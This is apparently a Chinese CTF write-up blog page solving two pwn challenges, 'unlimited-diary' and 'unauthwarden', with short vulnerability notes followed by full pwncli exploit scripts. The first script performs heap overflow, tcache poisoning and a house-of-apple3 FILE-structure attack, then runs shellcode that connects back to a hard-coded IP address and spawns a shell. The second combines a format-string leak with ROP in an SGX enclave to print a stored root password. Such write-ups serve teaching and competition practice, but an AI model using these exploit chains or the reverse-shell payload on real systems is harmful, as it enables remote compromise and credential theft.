Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

unlimited-diary

题目功能

  1. add: 对于msg堆块有malloc(size+1)
  2. edit: 从meta堆块中取msg堆块的大小,只能读入堆块大小的数据
  3. free:对指针都清零,无漏洞
  4. show: 使用write打印meta堆块存的msg的大小

漏洞点

  1. add:当size为2**32时,会malloc(0),分配0x20的堆块,此时存在meta堆块中的大小为2**32,达成堆溢出
  2. show: write泄露地址

利用思路

释放堆块到ub然后再分配出来show实现泄露libc
然后利用漏洞点1实现tcache poisoning, 分配到stderr
最后house of apple3 + 一骑当千

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
#!/usr/bin/env python3
# Link: https://github.com/RoderickChan/pwncli
# Usage:
# Debug : python3 exp.py debug elf-file-path -t -b malloc
# Remote: python3 exp.py remote elf-file-path ip:port

from pwncli import *
cli_script()


# gift.io = remote("127.0.0.1", 9999)
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc



# one_gadgets: list = get_current_one_gadget_from_libc(more=False)
# CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)

def cmd(i):
sa("> ", i)

def add(size,msg):
cmd('1')
ru("Input length:\n")
s(str(size))
ru("Input content:\n")
sl(msg)

def edit(idx, msg):
cmd('3')
ru("Input index:\n")
s(str(idx))
ru("Input content:\n")
sl(msg)

#......

def show(idx):
cmd('4')
ru("Input index:\n")
s(str(idx))
ru(b'Content:\n')
#......

def dele(idx):
cmd('2')
ru( "Input index:\n")
s(str(idx))

#......


add(0x500, "A") #0
add(0x500, "B") #1

add(0xFFFFFFFF, "C") #2
add(0x400-1, "D") # 3

dele(0)
dele(1)
add(0x500, "\n") # 0
show(0)


libc_base = u64(r(8)) - 0x203b00
leak_ex2(libc_base)

heap_base = u64(r(8))
leak_ex2(heap_base)

add(0x500, "B") #1

libc.address = libc_base

payload = flat(
"A"*0x10,
0,
0x21,
libc.sym['_IO_2_1_stderr_'],
p32(0x500)
)
edit(2, payload)


fake_IO_file_addr = libc.sym["_IO_2_1_stderr_"]
fake_ucontext_addr = fake_IO_file_addr + 0x100
_IO_wide_data_1 = libc_base + 0x2037e0
_IO_wfile_jumps = libc.sym['_IO_wfile_jumps']
chunk1 = libc.bss(0x500)

# house of apple3
fake_IO_file = p64(0xffffffffffffffff) #_IO_read_endtable
fake_IO_file += p64(0) * 2 + p64(1)
fake_IO_file = fake_IO_file.ljust(0x30, b'\x00')
fake_IO_file += p64(fake_IO_file_addr + 0x100) # _IO_buf_end = codecvt->__cd_in.step
fake_IO_file = fake_IO_file.ljust(0x78, b'\x00')
fake_IO_file += p64(chunk1) # lock
fake_IO_file = fake_IO_file.ljust(0x88, b'\x00')
fake_IO_file += p64(fake_IO_file_addr + 0x40) # _codecvt
fake_IO_file += p64(_IO_wide_data_1) # 尽量保持不变
fake_IO_file = fake_IO_file.ljust(0xc8, b'\x00')
fake_IO_file += p64(_IO_wfile_jumps+8) # vtable
fake_IO_file = fake_IO_file.ljust(0xf0, b'\x00')
fake_IO_file += p64(0) # fake_ucontext_addr
fake_IO_file += p64(0) * 4
fake_IO_file += p64(libc.sym['setcontext'])

# house of 一骑当千
rdi = fake_ucontext_addr & ~0xfff # heap_addr binsh_addr
rsi = 0x1000
rbp = fake_ucontext_addr + 0x100
rbx = 0
rdx = 7
rcx = 0
rax = 0
rsp = fake_ucontext_addr + 0x100
rip = libc.sym['mprotect']

ucontext = b''
ucontext += p64(0) * 7
ucontext += p64(rdi) + p64(rsi)
ucontext += p64(rbp) + p64(rbx)
ucontext += p64(rdx) + p64(rcx)
ucontext += p64(rax)
ucontext += p64(rsp) + p64(rip)
ucontext = ucontext.ljust((0xe0 - 0x30), b'\x00')
ucontext += p64(chunk1 + 0x1000)
ucontext = ucontext.ljust((0x100 - 0x30), b'\x00')

shellcode = p64(fake_ucontext_addr + 0x110) + p64(0) + asm(
shellcraft.connect('47.122.69.27',2333,'ipv4')+shellcraft.dupsh()
)


payload = p64(0) + p64(0) + fake_IO_file + ucontext + bytes(shellcode)

edit(3, payload)
cmd('5')
# sleep(3)
# io.shutdown('out')
ia()

unauthwarden-#1(复盘)

题目描述

获取程序的root密码

题目功能

用户注册登录以后有以下功能:
1 添加本地msg
2 显示本地msg
4 将本地msg存储到sgx
5 显示sgx中seal后的msg
root密码存储在enclave的bss中

漏洞点

  1. 在登录时输出用户名使用的是ecall_print_username:
    print username
    存在格式化字符串漏洞
  2. 在 test_app中的add_send_entry函数,对应功能1:
    controlled data length
    由图可知数据长度可控,最大0x2000
    而在 unauthwarden.signed.so 的 ecall_do_seal_send函数中buffer仅256字节,在将输入的数据拷贝到buffer时存在溢出,造成栈溢出:
    stack overflow

利用思路:

先通过格式化字符串漏洞泄露pie
然后利用ecall_do_seal_send的栈溢出进行ROP,ROP中调用已有的字符串输出函数ocall_print_string实现输出

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
#!/usr/bin/env python3
# Link: https://github.com/RoderickChan/pwncli
# Usage:
# Debug : python3 exp.py debug elf-file-path -t -b malloc
# Remote: python3 exp.py remote elf-file-path ip:port

from pwncli import *
cli_script()


io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

# one_gadgets: list = get_current_one_gadget_from_libc(more=False)
# CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)

def cmd(i):
sa(">> ", i)

def login(user, passwd):
cmd('1')
ru("Enter username: ")
s(user)
ru("Enter password: ")
s(passwd)
#......

def reg(user,passwd):
cmd('2')
ru("Enter username: ")
s(user)
ru("Enter password: ")
s(passwd)

def add_send(msg):
cmd('4')
ru('Input your data length to seal: ')
s(str(len(msg)))
ru('batch):')
for i in range(0, len(msg), 256):
chunk = msg[i:i + 256]
s(chunk)
ru('(y/n):')
sl('y')


user = b"%10$p"
passwd = b"ABC"
reg(user,passwd)
login(user,passwd)

ru('Welcome back, ')
pie = int(ru('\n',True), 16)
pie = pie - 0x292000
root_passwd = pie + 0x11a000
leak_ex2(pie)
leak_ex2(root_passwd)
pause()

# asm_oret = pie + 0x11257E
# asm_oret = pie + 0x010F43A
ocall_print_string = pie + 0x28A0
# rsp = pie + 0x271a88
pop_rdi_ret = pie + 0x0000000000001261
#
# leak_ex2(asm_oret)
leak_ex2(ocall_print_string)
leak_ex2(pop_rdi_ret)
# leak_ex2(rsp)
bp = pie+0x1e1d
leak_ex2(bp)
#
# ocall_context = flat({
# 8*11: flat(
# rsp+21*8, # rbp
# root_passwd # rdi
# ),
# 0x98: rsp-0x20
# },filler=b"\x00").ljust(18*8, b"\x00")
#
# payload = flat(
# "A"*256,
# "AAAAAAAA",
# asm_oret,
# ocall_context,
# 0,
# ocall_print_string
# )

payload = flat(
"A"*0x118,
pop_rdi_ret,
root_passwd,
ocall_print_string
)
pause()
add_send(payload)
# add_send("A"*256+"B"*0x10)

ia()

评论




本站总访问量为 次 访客数为 人